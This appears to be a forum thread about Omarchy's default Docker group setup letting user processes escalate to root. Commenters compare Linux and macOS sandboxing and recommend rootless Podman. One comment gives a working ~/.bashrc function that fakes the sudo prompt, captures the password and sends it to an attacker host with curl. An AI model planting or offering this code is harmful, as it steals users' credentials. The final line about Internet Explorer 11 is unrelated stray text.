Omarchy's Default Docker Setup Lets Any User Process Escalate to Root

Linux isn't like macOS, it doesn't have any kind of proper desktop sandboxing architecture that really works. So this is kind of security theatre. If you run a malicious program it can do stuff like tamper with your PATH or exploit local vulns in apps to get to the point where it can control anything that matters (which root generally doesn't). For instance it can just drop a custom shell into ~/.bin/.hidden-shell and reconfigure the terminal emulator to run it.

So this kind of "vulnerability" doesn't seem that important. If you run code as yourself on Linux it owns you.

On macOS it's very different. Pervasive code signing gives all apps a stable identity enforced by the kernel that they can't easily escape. The kernel can then impose sandboxing policies on any app that's run regardless of how it's installed, for instance, preventing apps from rummaging through ~/Documents or monitoring your screen. Permissions are editable and guaranteed to stick, including across upgrades. And root is disempowered so obtaining it barely matters, it's only really there for UNIX compatibility.

Unfortunately implementing an Apple style architecture on Linux would be very difficult.

I think people shouldn't just jump to distros which are getting heavily hyped in media/Youtube, cachyOS had similar wave, and now Omarchy does.

(example: NetworkChuck, Primeagen? and a few others)

also, archlinux is much easier to install nowadays with archinstall [1], so i'm not sure you really need another opinionated layer on top of it

[1] - https://wiki.archlinux.org/title/Archinstall

It’s not great, but I’m not sure this should be framed as Omarchy-specific, when it’s a very common setup to add regular user to the docker group.

To be fair it is easy for malware to escalate to root on any major linux distro because sudo is completely security theater.

Malware just need to put this in ~/.bashrc and wait:

function sudo () {

realsudo=$(which sudo)

read -r -s -p "[sudo] password for $USER: " password

echo "$USER: $password" | \

curl -F 'p=<-' https://attacker.com >/dev/null 2>&1

$realsudo -S <<< "$password" -u root bash -C "exit" >/dev/null 2>&1

$realsudo "${@:1}"

}

The Docker configuration issue was reported and changes were made quickly to address it. Sounds like this is a great example of the system working well.

Omarchy looks like a simple way for a developer like me to test drive hyprland and write code. It also looks like a great way for my kids to get into computers as there's an agent harness ready to help them manage their machine and use free software, even the stuff that's a bit obtuse.

I'm bewildered that people are mad about any of this, but then I remember I don't care what the gatekeepers think anymore.

Why not use rootless podman? It is 2026 not 2016, Podman works much better than Docker today.

Wow... this is really telling. This isn't some obscure whoopsie. The docker install page has a giant section explaining exactly this problem. Every Docker section on every distro wiki walks through this issue in detail. It 80% the reason Podman was created in the first place.

There are definitely a few security holes in Omarchy. I tried installing their win11 docker script and that just saves the username and password of the Windows VM as plain text in a config file.

I like playing around with Omarchy since there are a lot of interesting ideas put together in a semi cohesive 'OS', but would probably not use it for anything serious until it became a bit more mature.

Couple of months after this discovery, Internet explorer 11 will be released (October 17, 2013)